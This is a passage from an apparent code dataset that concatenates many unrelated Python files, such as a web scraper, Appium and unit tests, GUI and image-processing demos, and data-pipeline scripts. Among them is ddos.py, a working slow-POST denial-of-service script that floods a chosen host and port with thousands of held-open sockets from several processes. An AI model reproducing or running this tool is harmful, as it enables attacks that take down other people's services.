'url': url,\n 'channel': channel\n }\n print(data)\n models.second_grade.save(data)\n else:\n return None\n\n\ndef get_links_from(channel, pages):\n list_view = '{}o{}/'.format(channel, pages)\n wb_data = requests.get(list_view)\n time.sleep(2)\n if wb_data.status_code == 200:\n soup = BeautifulSoup(wb_data.text, 'lxml')\n # 判断页面是否存在，找的是
\n # 有，页面就存在，没有，页面就不存在\n if soup.find('div', 'pageBox'):\n urls = soup.select('[class=ft-tit]')\n for u in urls:\n url = u.get('href')\n url_save(url, channel)\n else:\n return\n\n\ndef item_info_exist(url):\n return url in [i['url'] for i in models.third_grade.find()]\n\n\ndef info_page_exist(soup):\n page_404_1 = soup.select('div.leftBox > div:nth-of-type(4) > div > ul > li:nth-of-type(1) > span:nth-of-type(1)')\n return len(page_404_1) == 0 and soup.find('p', 'error-tips1') is None\n\n\ndef get_item_info(url):\n if not item_info_exist(url):\n wb_data = requests.get(url)\n if wb_data.status_code != 200:\n return None\n time.sleep(2)\n soup = BeautifulSoup(wb_data.text, 'lxml')\n if info_page_exist(soup):\n tm = soup.select('.pr-5')\n cate = soup.select('div.h-crumbs > div > a')\n price = soup.select('.f22.fc-orange.f-type')\n place = soup.select('ul.det-infor > li:nth-of-type(3) > a')\n state = soup.select('div.second-dt-bewrite > ul > li')\n data = {\n 'url': url,\n 'title': soup.title.text.strip(),\n 'time': tm[0].text.strip().split(' ')[0] if len(tm) > 0 else \"\",\n 'cate': [cate.text.strip() for cate in cate],\n # 'cate': cate[0].get_text(),\n 'price': price[0].text.strip() if len(price) > 0 else 0,\n 'place': [area.text.strip() for area in place if area.text.strip() != \"-\"],\n 'state': formatted(state[0].get_text() if len(state) != 0 else \"\")\n }\n models.third_grade.save(data)\n print(data)\n else:\n pass\n else:\n pass\n\n\nif __name__ == '__main__':\n get_item_info('http://bj.ganji.com/ruanjiantushu/2109678197x.htm')\n","sub_path":"pages_parsing.py","file_name":"pages_parsing.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"345871335","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/7/3 22:29\n# @Author : wkRonin\n# @File :test_webview.py\nfrom time import sleep\n\nfrom appium import webdriver\nfrom appium.webdriver.common.mobileby import MobileBy\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass TestWebview:\n def setup(self):\n des_caps = {\n 'platformName': 'android',\n 'platformVersion': '8.0',\n 'browserName': 'Chrome',\n 'noReset': 'true',\n # 'autoGrantPermissions': 'true',\n 'skipDeviceInitialization': 'true',\n 'newCommandTimeout': '300',\n 'showChromedriverLog': 'true',\n 'deviceName': '456456',\n 'unicodeKeyboard': 'true',\n 'resetKeyvoard': 'true',\n 'chromeOptions': {'w3c': False\n # 'args': ['--no-sandbox']\n },\n 'udid': 'd59c99c6',\n 'chromedriverExecutableDir': 'D:\\pycharmproject\\pythonProject\\hogwartsAppium\\chromedrivers',\n 'chromedriverChromeMappingFile': 'D:\\pycharmproject\\pythonProject\\hogwartsAppium\\mapping.json'\n }\n self.driver = webdriver.Remote('http://localhost:4723/wd/hub', des_caps)\n self.driver.implicitly_wait(10)\n\n def teardown(self):\n self.driver.quit()\n\n def test_webview(self):\n self.driver.get('http://m.baidu.com')\n # 中部弹窗是安卓原生的，底部弹窗才是alert.\n # 解决安卓谷歌浏览器位置权限弹窗\n # self.driver.switch_to.context(\"NATIVE_APP\")\n # WebDriverWait(self.driver, 10, 0.5).until(\n # expected_conditions.visibility_of_element_located((MobileBy.XPATH, \"//*[@text='允许']\"))).click()\n # # 切换回浏览器\n # webview = self.driver.contexts[1]\n # self.driver.switch_to.context(webview)\n # # 查询操作\n self.driver.find_element(MobileBy.ID, 'index-kw').send_keys('appium')\n search = WebDriverWait(self.driver, 10, 0.5).until(\n expected_conditions.visibility_of_element_located((MobileBy.ID, 'index-bn'))\n )\n search.click()\n\n sleep(8)","sub_path":"lubo_practice/test_webview.py","file_name":"test_webview.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"394556650","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom tkinter import *\n\n# Listbox - 列表控件,可以含有一个或多个文本想,可单选也可多选\n#\n# 用法\n#\n# 　　创建:lb = ListBox(根对象, [属性列表])\n# 　　绑定变量 var=StringVar() lb=ListBox(根对象, listvariable = var)\n# 　　得到列表中的所有值 var.get()\n# 　　设置列表中的所有值 var.set((item1, item2, .....))\n# 　　添加:lb.insert(item)\n# 　　删除:lb.delete(item,...)\n# 　　绑定事件 lb.bind('', 函数)\n# 　　获得所选中的选项 lbl.get(lb.curselection())\n# 属性\n#\n# 　　selectmode可以为BROWSE MULTIPL SINGLE\n\n\nroot = Tk() # 初始化TK()\nroot.title('Listbox') # 设置窗口标题\nroot.geometry() # 设置窗口大小\n\nvar = StringVar()\nlb = Listbox(root, listvariable=var)\n# list_item = [1, 2, 3, 4]\n# for item in list_item:\n# lb.insert(END, item)\n# lb.delete(2, 4)\n\nvar.set(('a', 'ab', 'c', 'd'))\nprint(var.get())\n\n\ndef print_item(event):\n print(lb.get(lb.curselection()))\n\nlb.bind('', print_item) # 鼠标左键单击释放事件绑定\nlb.pack()\n\nroot.mainloop() # 进入消息循环\n\n\n","sub_path":"interface/ui-tkinter-widgets/tkinter-listbox.py","file_name":"tkinter-listbox.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"60112302","text":"# *************************************************\n# ******** Facial Detection and Recognition *******\n# ************ Merav Joseph 200652063 *************\n# ************* Shir Amir 209712801 ***************\n# *************************************************\n\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport os\nimport shutil\nimport eigenfaces as ef\n\nTRAIN_DIR = \"../images/train_data_sets\"\n\ndef run_training():\n \"\"\" Training the database images \"\"\"\n print(\"------------TRAIN------------\")\n\n # Load the datasets\n print('Loading data sets.')\n images, labels = ef.load_dataset(TRAIN_DIR)\n\n faces_mat = np.dstack(images)\n\n # Compute eigenfaces\n print('Computing eigenfaces.')\n eigenfaces, faces_proj = ef.compute_eigenfaces(faces_mat)\n\n # Acquire Data\n print('Acquiring important data.')\n mean_vecs, labels_unique, cov_mat = ef.mean_eigenvecs(faces_mat, eigenfaces, labels)\n\n # Save Data\n print(\"Saving the data.\")\n np.savez(\"train_data\", eigenfaces=eigenfaces, faces_proj=faces_proj,\n mean_vecs=mean_vecs, labels_unique=labels_unique, cov_mat=cov_mat)\n \n print(\"Training Completed\")\n print(\"-----------------------------\")\n\ndef add_training_set(dir_path):\n \"\"\" adds a data set to the training set\n :param dir_path: new data set's directory path\n \"\"\"\n print(\"----------NEW-SET------------\")\n print(\"Add new set.\")\n dir_name = dir_path.split(\"/\")[-1]\n dir_exists = not(os.path.exists(\"%s/%s\" % (TRAIN_DIR, dir_name)))\n assert dir_exists, \"The directory %s/%s already exists.\" % (TRAIN_DIR, dir_name)\n shutil.copytree(dir_path, \"%s/%s\" % (TRAIN_DIR, dir_name))\n print(\"-----------------------------\")\n\n\nif __name__ == \"__main__\":\n run_training()","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"146471591","text":"import yaml\nfrom yaml.loader import FullLoader\nimport numpy as np\nimport pandas as pd\nimport json\nimport pandas as pd\nfrom .libraries import *\nimport yaml\nfrom yaml.loader import FullLoader\nfrom Files.hyperparameter import hyperparameter as hp\nimport os \n\nclass training:\n\n def train(userinputconfig,dataconfig,preprocessconfig):\n \n with open(preprocessconfig) as f:\n preprocessconfigfile= yaml.load(f,Loader=FullLoader) #for split ratio\n\n\n with open(dataconfig) as f:\n dataconfigfile= yaml.load(f,Loader=FullLoader) #has info about where the data is stored and where the model must be stored\n\n with open(userinputconfig) as file:\n userinputconfigfile=yaml.load(file,Loader=FullLoader) #modified version of model universe for each run\n models=[]\n ans=[]\n\n test_ratio=preprocessconfigfile[\"split_ratio_test\"] #input given the the user usually 0.3 by default\n\n data=dataconfigfile[\"data\"] \n \n target_column=preprocessconfigfile[\"target_column_name\"]\n \n \n if dataconfigfile[\"problem_type\"]=='classification':\n metrics=pd.DataFrame(columns = ['modelname','accuracy_score','recall_score','precision_score','f1_score','cohen_kappa_score','matthews_corrcoef'])\n\n elif dataconfigfile[\"problem_type\"]=='regression':\n metrics=pd.DataFrame(columns=['modelname','mean_absolute_error','mean_squared_error','r2_score','mean_squared_log_error'])\n\n #creates a pandas dataframe to store the metrics of the created model\n for model in userinputconfigfile:\n if model[\"isSelected\"]:\n\n hypers=[]\n keylist=[]\n for feature in model[\"hyper\"]:\n if feature[\"ischanged\"]:\n keylist.append(feature[\"name\"])\n hypers.append(feature[\"name\"]+\"=\"+ str(feature[\"value\"]))\n model_str=model[\"name\"] + \"(\" + \", \".join(hypers) + \")\"\n\n metricsnewrow=hp.optimize(model_str,model[\"name\"],userinputconfig,data,dataconfig,target_column)\n print(metricsnewrow)\n metrics.loc[len(metrics.index)]=metricsnewrow\n \n #stores the metrics in the assigned folder \n metricsLocation=os.path.join(dataconfigfile[\"location\"],\"metrics.csv\")\n metrics.to_csv(metricsLocation, index=True, index_label=\"modelname\")","sub_path":"Files/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"431262000","text":"n=int(input())\ns=input().split(' ')\narr=[]\nfor i in s:\n\tarr.append(int(i))\ndp=[0]*(n+1)\nif n==0:\n\tprint(-1)\nelse:\n\tfor i in range(1,n+1):\n\t\tout=0\n\t\tfor j in range(9):\n\t\t\tif arr[j] == i:\n\t\t\t\tout=j+1\n\t\tlow=1\n\t\thigh=i-1\n\t\ttemp=0\n\t\twhile low <= high:\n\t\t\ttemp2=0\n\t\t\tp=int(dp[low]+dp[high])\n\t\t\tq=int(dp[high]+dp[low])\n\t\t\tif p>q:\n\t\t\t\ttemp2=p\n\t\t\telse:\n\t\t\t\ttemp2=q\n\t\t\tif temp < temp2:\n\t\t\t\ttemp=temp2\n\t\t\tlow=low+1\n\t\t\thigh=high-1\n\t\tif temp > out:\n\t\t\tdp[i]=str(temp)\n\t\telse:\n\t\t\tdp[i]=str(out)\n\tprint(dp[n]\t)","sub_path":"dpQues.py","file_name":"dpQues.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215087755","text":"## PROBLEM 3\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2 as cv\nimport math\n\ndef wait():\n key = cv.waitKey(0);\n while (key == 233):\n key = cv.waitKey(0);\n cv.destroyAllWindows()\n\n\ndef addNoise(img, noise_level):\n rows, cols = img.shape;\n noise = np.ones((rows, cols), np.uint8)\n noise = cv.randu(noise, 0, 255)\n img_noise = cv.addWeighted(img, 1 - noise_level, noise, noise_level, 0)\n return img_noise\n\n\ndef getMatch(des1, des2):\n bf = cv.BFMatcher()\n matches = bf.knnMatch(des1, des2, k=2);\n # df = cv.DMatch(des2, des1);\n # matches = cv.matc\n # matches = df.match(des2, des1);\n good = []\n for m, n in matches:\n if m.distance < 0.7 * n.distance:\n good.append([m])\n \n return len(good)\n\n\ncategory = ['giraffe', 'cup', 'bottle', 'cat', 'book'];\nn = len(category);\nm = 5;\n\nall_kps = [];\nall_des = [];\nimgs = [];\n\nfor i in range(n):\n imgs.append([])\n for j in range(1,m+1):\n src_path = './Images/q3/' + category[i]+'/'+str(j)+'.jpg'\n imgs[i].append(cv.imread(src_path, cv.IMREAD_GRAYSCALE))\n \n\nsift = cv.xfeatures2d.SIFT_create();\nfor i in range(n):\n all_kps.append([])\n all_des.append([])\n for j in range(m):\n kp, des = sift.detectAndCompute(imgs[i][j],None)\n all_kps[i].append(kp)\n all_des[i].append(des)\n\nmodel_kps = []\nmodel_des = []\n\nfor i in range(n):\n model_kps.append([])\n model_des.append([])\n \n model_kps[i].append(all_kps[i][0])\n model_des[i].append(all_des[i][0])\n \n img_n1 = addNoise(imgs[i][0], 0.2)\n kp, des = sift.detectAndCompute(img_n1, None)\n model_kps[i].append(kp)\n model_des[i].append(des)\n \n img_n2 = addNoise(imgs[i][0], 0.6)\n kp, des = sift.detectAndCompute(img_n2, None)\n model_kps[i].append(kp)\n model_des[i].append(des)\n\n \n img_flip = cv.flip(imgs[i][0], 1);\n kp, des = sift.detectAndCompute(img_flip, None)\n model_kps[i].append(kp)\n model_des[i].append(des)\n \n # plt.subplot(2, 2, 1), plt.imshow(imgs[i][0], cmap='gray'), plt.xticks([]), plt.yticks([]), plt.title('Original')\n # plt.subplot(2, 2, 2), plt.imshow(img_n1, cmap='gray'), plt.xticks([]), plt.yticks([]), plt.title('With uniform Noise - 0.2')\n # plt.subplot(2, 2, 3), plt.imshow(img_n2, cmap='gray'), plt.xticks([]), plt.yticks([]), plt.title('With uniform Noise - 0.6')\n # plt.subplot(2, 2, 4), plt.imshow(img_flip, cmap='gray'), plt.xticks([]), plt.yticks([]), plt.title('Flipped Image')\n # plt.show()\n # wait();\n # exit(0)\n \npos_count = neg_count = 0;\n\nfor i in range(n):\n for j in range(m):\n des_match_count = [0 for z in range(n)]\n for k in range(n):\n for t in range(len(model_kps[k])):\n des_match_count[k] += getMatch(model_des[k][t], all_des[i][j]);\n\n \n pred = max(des_match_count)\n if des_match_count[i] == pred:\n pos_count = pos_count + 1\n print('Correct',i,j,i);\n else:\n neg_count = neg_count + 1;\n print('Incorrect',i,j,des_match_count.index(pred))\n\nacc = pos_count/(pos_count+neg_count) * 100;\nprint('Corect pred = ', pos_count);\nprint('Incorrect pred = ', neg_count);\n\nwait();","sub_path":"Advanced-Image-Processing/Assignment 1/Assignment_1_submission/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"428283167","text":"import xlrd\r\nimport xlsxwriter\r\nfrom datetime import date\r\nfrom datetime import datetime\r\nimport Allvariables\r\nimport Allmethods\r\n\t\r\n#this method is to combine all the excel sheets into one\r\ndef StoringTheDetailsOfTestExecution(JmeterInputFile,csvHeadings,RunHash):\r\n\t#storing parsed file name and extension for combining all the sheets in parsed file\r\n\tParseFileName = 'ParseLogs'+Allvariables.ExcelFileExtention+''\r\n\t\r\n\t#storing excel file name and extension\r\n\tExcelFileName = 'DetailsOfTestRun'+''+Allvariables.ExcelFileExtention\r\n\t\r\n\t#assigning sheet name to the variable\r\n\tExcelSheetName = 'Headings'\r\n\r\n\t#Open the workbook\r\n\tbook = xlrd.open_workbook(ParseFileName)\r\n\r\n\t#excel writer for writing it in combined excel file\r\n\tworkbook = xlsxwriter.Workbook(ExcelFileName)\r\n\t\r\n\t# Add a bold format to use to highlight cells.\r\n\tbold = workbook.add_format({'bold': True})\r\n\t\r\n\t#excel sheet for writing tit in combined excel file\r\n\tsheet1 = workbook.add_worksheet('Details')\r\n\r\n\t#storing number of sheets in read excel file\r\n\tCountofsheet = (book.nsheets)\r\n\r\n\t#get the list of sheets\r\n\tsheets = book.sheets()\r\n\r\n\tdetails = []\r\n\tdetails.append(RunHash)\r\n\t\r\n\ttemp = Allmethods.readYaml(Allvariables.inputfilename,\"TargetApp\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\ttemp = Allmethods.readYaml(JmeterInputFile,\"url\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\t#today = str(date.today())\r\n\ttoday = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n\t#print today\r\n\tdetails.append(today)\r\n\t\r\n\ttemp = Allmethods.readYaml(Allvariables.inputfilename,\"Instance-Id\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\ttemp = Allmethods.readYaml(Allvariables.inputfilename,\"BuildNumber\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\ttemp = Allmethods.readYaml(Allvariables.inputfilename,\"ReleaseNumber\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\ttemp = Allmethods.readYaml(Allvariables.inputfilename,\"TestCaseID\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\tdetails.append(csvHeadings[0])\r\n\t\r\n\ttemp = Allmethods.readYaml(Allvariables.inputfilename,\"PageNumber\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\tdetails.append(csvHeadings[1])\r\n\t\r\n\ttemp = Allmethods.readYaml(JmeterInputFile,\"time-out\")\r\n\tdetails.append(temp[0])\r\n\t\r\n\tdetails.append(csvHeadings[2])\r\n\tdetails.append(csvHeadings[3])\r\n\t\r\n\tfor item in range(len(Allvariables.sheet1headings)):\r\n\t\tsheet1.write(0,item,Allvariables.sheet1headings[item])\r\n\t\tsheet1.write(1,item,details[item])\r\n\t\r\n\t#closing workbook\r\n\tworkbook.close()","sub_path":"ParsingForMultipleInputFile/StoringAllDetailsOfTestRun.py","file_name":"StoringAllDetailsOfTestRun.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"510903586","text":"#!/usr/local/bin/python3\n# coding: UTF-8\n# Author: David\n# Email: youchen.du@gmail.com\n# Created: 2017-04-14 13:16\n# Last modified: 2017-04-14 14:13\n# Filename: ddos.py\n# Description:\nimport socket\nimport sys\nimport time\nimport signal\nimport multiprocessing\n\nfrom threading import Thread\nfrom concurrent.futures import ProcessPoolExecutor\n\nworkers = []\nworker_num = 2000\npayload = (\"POST / HTTP/1.1\\r\\n\"\n \"Host: %s\\r\\n\"\n \"Content-Length: 10000000\\r\\n\"\n \"Cookie: DDoS_test\\r\\n\"\n \"\\r\\n\")\n\n\ndef maintain_workers(host, port):\n global workers\n while True:\n print('Maintaining.')\n size = len(workers)\n for i in range(worker_num-size):\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((host, port))\n sock.send(payload)\n workers.append(sock)\n except Exception as e:\n pass\n time.sleep(1)\n print('Close all sockets')\n for sock in workers:\n sock.close()\n workers.clear()\n return True\n\n\ndef attack():\n global workers\n while True:\n removes = []\n for sock in workers:\n try:\n sock.send(payload)\n except Exception:\n removes.append(sock)\n print('Finish attack')\n return True\n\n\ndef attack_main(host, port):\n maintain_thread = Thread(target=maintain_workers, args=(host, port))\n attack_thread = Thread(target=attack)\n maintain_thread.start()\n attack_thread.start()\n maintain_thread.join()\n attack_thread.join()\n\n\ndef init_worker():\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n\n\ndef main():\n host, port = sys.argv[1:]\n port = int(port)\n global payload\n payload = payload.format(host).encode('utf-8')\n pool = multiprocessing.Pool(initializer=init_worker)\n try:\n for i in range(4):\n pool.apply_async(attack_main, args=(host, port))\n time.sleep(2)\n print('Init finished. Ctrl-C to terminate')\n pool.close()\n pool.join()\n except KeyboardInterrupt:\n print('Caught KeyboardInterrupt, terminating workers')\n pool.terminate()\n pool.join()\n\nif __name__ == '__main__':\n main()\n","sub_path":"snippets/ddos.py","file_name":"ddos.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"633128208","text":"#encoding: UTF-8\r\n\r\n# Autor: Luis Daniel Rivera Salinas, A01374997\r\n# Descripcion: Programa que convierte las coordenadas cartesianas a polares por medio de la funcion arc tan\r\n\r\n# A partir de aquí escribe tu programa\r\n\r\nfrom math import atan2,sqrt,pi\r\n\r\nx = float(input(\"Ingrese el valor de x: \"))\r\ny = float(input(\"Ingrese el valor de y: \"))\r\n\r\nmagnitud = sqrt((x**2)+(y**2))\r\nangulo = atan2(y,x)\r\nangulo = (angulo*(180/pi))\r\n\r\nprint (\"La magnitud es: \", magnitud)\r\nprint(\"El angulo es: \", angulo)\r\n","sub_path":"coordenadas.py","file_name":"coordenadas.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"427272927","text":"\"\"\"\nUnits tests for propertyestimator.workflow\n\"\"\"\nimport tempfile\nfrom os import path\n\nimport pytest\nfrom simtk import unit\nfrom simtk.openmm.app import PDBFile\n\nfrom propertyestimator.backends import ComputeResources\nfrom propertyestimator.properties.dielectric import ExtractAverageDielectric\nfrom propertyestimator.protocols.analysis import ExtractAverageStatistic, ExtractUncorrelatedTrajectoryData, \\\n ExtractUncorrelatedStatisticsData\nfrom propertyestimator.protocols.coordinates import BuildCoordinatesPackmol, SolvateExistingStructure\nfrom propertyestimator.protocols.forcefield import BuildSmirnoffSystem\nfrom propertyestimator.protocols.miscellaneous import AddQuantities, FilterSubstanceByRole, SubtractQuantities\nfrom propertyestimator.protocols.simulation import RunEnergyMinimisation, RunOpenMMSimulation\nfrom propertyestimator.substances import Substance\nfrom propertyestimator.tests.test_workflow.utils import DummyEstimatedQuantityProtocol, DummyProtocolWithDictInput\nfrom propertyestimator.thermodynamics import Ensemble, ThermodynamicState\nfrom propertyestimator.utils import get_data_filename\nfrom propertyestimator.utils.exceptions import PropertyEstimatorException\nfrom propertyestimator.utils.quantities import EstimatedQuantity\nfrom propertyestimator.utils.statistics import ObservableType\nfrom propertyestimator.workflow.plugins import available_protocols\nfrom propertyestimator.workflow.utils import ProtocolPath\n\n\n@pytest.mark.parametrize(\"available_protocol\", available_protocols)\ndef test_default_protocol_schemas(available_protocol):\n \"\"\"A simple test to ensure that each available protocol\n can both create, and be created from a schema.\"\"\"\n protocol = available_protocols[available_protocol]('dummy_id')\n protocol_schema = protocol.schema\n\n recreated_protocol = available_protocols[available_protocol]('dummy_id')\n recreated_protocol.schema = protocol_schema\n\n assert protocol.schema.json() == recreated_protocol.schema.json()\n\n\ndef test_nested_protocol_paths():\n\n value_protocol_a = DummyEstimatedQuantityProtocol('protocol_a')\n value_protocol_a.input_value = EstimatedQuantity(1 * unit.kelvin, 0.1 * unit.kelvin, 'constant')\n\n assert value_protocol_a.get_value(ProtocolPath('input_value.value')) == value_protocol_a.input_value.value\n\n value_protocol_a.set_value(ProtocolPath('input_value._value'), 0.5*unit.kelvin)\n assert value_protocol_a.input_value.value == 0.5*unit.kelvin\n\n value_protocol_b = DummyEstimatedQuantityProtocol('protocol_b')\n value_protocol_b.input_value = EstimatedQuantity(2 * unit.kelvin, 0.05 * unit.kelvin, 'constant')\n\n value_protocol_c = DummyEstimatedQuantityProtocol('protocol_c')\n value_protocol_c.input_value = EstimatedQuantity(4 * unit.kelvin, 0.01 * unit.kelvin, 'constant')\n\n add_values_protocol = AddQuantities('add_values')\n\n add_values_protocol.values = [\n ProtocolPath('output_value', value_protocol_a.id),\n ProtocolPath('output_value', value_protocol_b.id),\n ProtocolPath('output_value', value_protocol_b.id),\n 5\n ]\n\n with pytest.raises(ValueError):\n add_values_protocol.get_value(ProtocolPath('valus[string]'))\n\n with pytest.raises(ValueError):\n add_values_protocol.get_value(ProtocolPath('values[string]'))\n\n input_values = add_values_protocol.get_value_references(ProtocolPath('values'))\n assert isinstance(input_values, dict) and len(input_values) == 3\n\n for index, value_reference in enumerate(input_values):\n\n input_value = add_values_protocol.get_value(value_reference)\n assert input_value.full_path == add_values_protocol.values[index].full_path\n\n add_values_protocol.set_value(value_reference, index)\n\n assert set(add_values_protocol.values) == {0, 1, 2, 5}\n\n dummy_dict_protocol = DummyProtocolWithDictInput('dict_protocol')\n\n dummy_dict_protocol.input_value = {\n 'value_a': ProtocolPath('output_value', value_protocol_a.id),\n 'value_b': ProtocolPath('output_value', value_protocol_b.id),\n }\n\n input_values = dummy_dict_protocol.get_value_references(ProtocolPath('input_value'))\n assert isinstance(input_values, dict) and len(input_values) == 2\n\n for index, value_reference in enumerate(input_values):\n\n input_value = dummy_dict_protocol.get_value(value_reference)\n\n dummy_dict_keys = list(dummy_dict_protocol.input_value.keys())\n assert input_value.full_path == dummy_dict_protocol.input_value[dummy_dict_keys[index]].full_path\n\n dummy_dict_protocol.set_value(value_reference, index)\n\n add_values_protocol_2 = AddQuantities('add_values')\n\n add_values_protocol_2.values = [\n [ProtocolPath('output_value', value_protocol_a.id)],\n [\n ProtocolPath('output_value', value_protocol_b.id),\n ProtocolPath('output_value', value_protocol_b.id)\n ]\n ]\n\n with pytest.raises(ValueError):\n add_values_protocol_2.get_value(ProtocolPath('valus[string]'))\n\n with pytest.raises(ValueError):\n add_values_protocol.get_value(ProtocolPath('values[string]'))\n\n pass\n\n\ndef test_base_simulation_protocols():\n \"\"\"Tests that the commonly chain build coordinates, assigned topology,\n energy minimise and perform simulation are able to work together without\n raising an exception.\"\"\"\n\n water_substance = Substance()\n water_substance.add_component(Substance.Component(smiles='O'),\n Substance.MoleFraction())\n\n thermodynamic_state = ThermodynamicState(298*unit.kelvin, 1*unit.atmosphere)\n\n with tempfile.TemporaryDirectory() as temporary_directory:\n\n build_coordinates = BuildCoordinatesPackmol('')\n\n # Set the maximum number of molecules in the system.\n build_coordinates.max_molecules = 10\n # and the target density (the default 1.0 g/ml is normally fine)\n build_coordinates.mass_density = 0.05 * unit.grams / unit.milliliters\n # and finally the system which coordinates should be generated for.\n build_coordinates.substance = water_substance\n\n # Build the coordinates, creating a file called output.pdb\n result = build_coordinates.execute(temporary_directory, None)\n assert not isinstance(result, PropertyEstimatorException)\n\n # Assign some smirnoff force field parameters to the\n # coordinates\n print('Assigning some parameters.')\n assign_force_field_parameters = BuildSmirnoffSystem('')\n\n assign_force_field_parameters.force_field_path = get_data_filename('forcefield/smirnoff99Frosst.offxml')\n assign_force_field_parameters.coordinate_file_path = path.join(temporary_directory, 'output.pdb')\n assign_force_field_parameters.substance = water_substance\n\n result = assign_force_field_parameters.execute(temporary_directory, None)\n assert not isinstance(result, PropertyEstimatorException)\n\n # Do a simple energy minimisation\n print('Performing energy minimisation.')\n energy_minimisation = RunEnergyMinimisation('')\n\n energy_minimisation.input_coordinate_file = path.join(temporary_directory, 'output.pdb')\n energy_minimisation.system_path = assign_force_field_parameters.system_path\n\n result = energy_minimisation.execute(temporary_directory, ComputeResources())\n assert not isinstance(result, PropertyEstimatorException)\n\n npt_equilibration = RunOpenMMSimulation('npt_equilibration')\n\n npt_equilibration.ensemble = Ensemble.NPT\n\n npt_equilibration.steps = 20 # Debug settings.\n npt_equilibration.output_frequency = 2 # Debug settings.\n\n npt_equilibration.thermodynamic_state = thermodynamic_state\n\n npt_equilibration.input_coordinate_file = path.join(temporary_directory, 'minimised.pdb')\n npt_equilibration.system_path = assign_force_field_parameters.system_path\n\n result = npt_equilibration.execute(temporary_directory, ComputeResources())\n assert not isinstance(result, PropertyEstimatorException)\n\n extract_density = ExtractAverageStatistic('extract_density')\n\n extract_density.statistics_type = ObservableType.Density\n extract_density.statistics_path = path.join(temporary_directory, 'statistics.csv')\n\n result = extract_density.execute(temporary_directory, ComputeResources())\n assert not isinstance(result, PropertyEstimatorException)\n\n extract_dielectric = ExtractAverageDielectric('extract_dielectric')\n\n extract_dielectric.thermodynamic_state = thermodynamic_state\n\n extract_dielectric.input_coordinate_file = path.join(temporary_directory, 'input.pdb')\n extract_dielectric.trajectory_path = path.join(temporary_directory, 'trajectory.dcd')\n extract_dielectric.system_path = assign_force_field_parameters.system_path\n\n result = extract_dielectric.execute(temporary_directory, ComputeResources())\n assert not isinstance(result, PropertyEstimatorException)\n\n extract_uncorrelated_trajectory = ExtractUncorrelatedTrajectoryData('extract_traj')\n\n extract_uncorrelated_trajectory.statistical_inefficiency = extract_density.statistical_inefficiency\n extract_uncorrelated_trajectory.equilibration_index = extract_density.equilibration_index\n extract_uncorrelated_trajectory.input_coordinate_file = path.join(temporary_directory, 'input.pdb')\n extract_uncorrelated_trajectory.input_trajectory_path = path.join(temporary_directory, 'trajectory.dcd')\n\n result = extract_uncorrelated_trajectory.execute(temporary_directory, ComputeResources())\n assert not isinstance(result, PropertyEstimatorException)\n\n extract_uncorrelated_statistics = ExtractUncorrelatedStatisticsData('extract_stats')\n\n extract_uncorrelated_statistics.statistical_inefficiency = extract_density.statistical_inefficiency\n extract_uncorrelated_statistics.equilibration_index = extract_density.equilibration_index\n extract_uncorrelated_statistics.input_statistics_path = path.join(temporary_directory, 'statistics.csv')\n\n result = extract_uncorrelated_statistics.execute(temporary_directory, ComputeResources())\n assert not isinstance(result, PropertyEstimatorException)\n\n\ndef test_addition_subtract_protocols():\n\n with tempfile.TemporaryDirectory() as temporary_directory:\n\n quantity_a = EstimatedQuantity(1*unit.kelvin, 0.1*unit.kelvin, 'dummy_source_1')\n quantity_b = EstimatedQuantity(2*unit.kelvin, 0.2*unit.kelvin, 'dummy_source_2')\n\n add_quantities = AddQuantities('add')\n add_quantities.values = [quantity_a, quantity_b]\n\n result = add_quantities.execute(temporary_directory, ComputeResources())\n\n assert not isinstance(result, PropertyEstimatorException)\n assert add_quantities.result.value == 3 * unit.kelvin\n\n sub_quantities = SubtractQuantities('sub')\n sub_quantities.value_b = quantity_b\n sub_quantities.value_a = quantity_a\n\n result = sub_quantities.execute(temporary_directory, ComputeResources())\n\n assert not isinstance(result, PropertyEstimatorException)\n assert sub_quantities.result.value == 1 * unit.kelvin\n\n\n@pytest.mark.parametrize(\"filter_role\", [Substance.ComponentRole.Solute,\n Substance.ComponentRole.Solvent,\n Substance.ComponentRole.Ligand,\n Substance.ComponentRole.Receptor])\ndef test_substance_filtering_protocol(filter_role):\n \"\"\"Tests that the protocol to filter substances by\n role correctly works.\"\"\"\n\n def create_substance():\n\n 